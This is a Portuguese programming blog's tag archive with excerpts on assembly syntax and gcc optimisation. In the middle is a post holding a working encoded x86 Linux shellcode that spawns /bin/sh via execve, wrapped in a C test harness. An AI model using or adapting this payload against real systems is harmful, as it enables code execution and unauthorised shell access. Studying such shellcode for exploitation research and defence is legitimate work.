Arquivo

Artigos com Etiquetas ‘assembly’

Diferenças entre a sintaxe AT&T e a sintaxe Intel

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[12]-=[Diferencas entre a sintaxe AT&T e a sintaxe Intel]=-|Narcotic|=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

–=[ Introdução

Aqui vai uma breve introdução sobre a diferença entre a sintaxe AT&T e a Intel. Raro conhecer alguem que aprenda primeiramente a sintaxe AT&T pois ela é um tanto confusa para um iniciante. Mas para programadores mais experientes, ela se torna uma ferramenta muito poderosa, feita de tal maneira que impossibilita ambiguidades no código.

Ler mais…

Categories: Programação Tags: ,

shellcode execve encrypted

/*
Encoded SUB shellcode execve /bin/sh of 48 bytes
by anderson_underground@hotmail.com
Hack 'n Roll
*/
char shellcode[] =
"\x31\xd2"
"\xeb\x0e"
"\x31\xdb"
"\x5b"
"\xb1\x19"
"\x83\x2c\x1a\x01"
"\x42"
"\xe2\xf9"
"\xeb\x05"
"\xe8\xed\xff\xff\xff"
"\x32\xc1"
"\x51"
"\x69\x30\x30\x74\x69\x69"
"\x30\x63\x6a"
"\x6f"
"\x32\xdc"
"\x8a\xe4"
"\x51"
"\x55"
"\x54"
"\x51"
"\xb1\x3c"
"\xce"
"\x81";
int main(void){
printf("Length: %d\n",strlen(shellcode));
__asm__("jmp shellcode");
}

Fonte

Categories: Programação Tags: , , ,

Otimização de Executáveis com o gcc

Otimização de Executáveis com o GCC,explicações e definições.

Recentemente um amigo me perguntou sobre “como eu faço para deixar um executável mais rápido no Linux” ,isso me intrigou,não conhecia muito sobre isso então comecei-a pesquisar mais sobre a otimização de executáveis ,encontrei muitas informações é irei apresenta-la em um tutorial,para ficarem mais claras.

O GCC é o melhor compilador que existe(sem duvida nenhuma), ele é composto por ferramentas de compilação, assembler e de linkagem, sua função é produzir executáveis prontos parar “rodar” em um formato aceito pelo SO (as formas de execução é a estrutura de um binário variam de acordo com o SO), o seu modo de operação se divide em 4(quatro) etapas,em geral executadas em sequência e automaticamente pelo compilador:

Ler mais…

SEO Powered by Platinum SEO from Techblissonline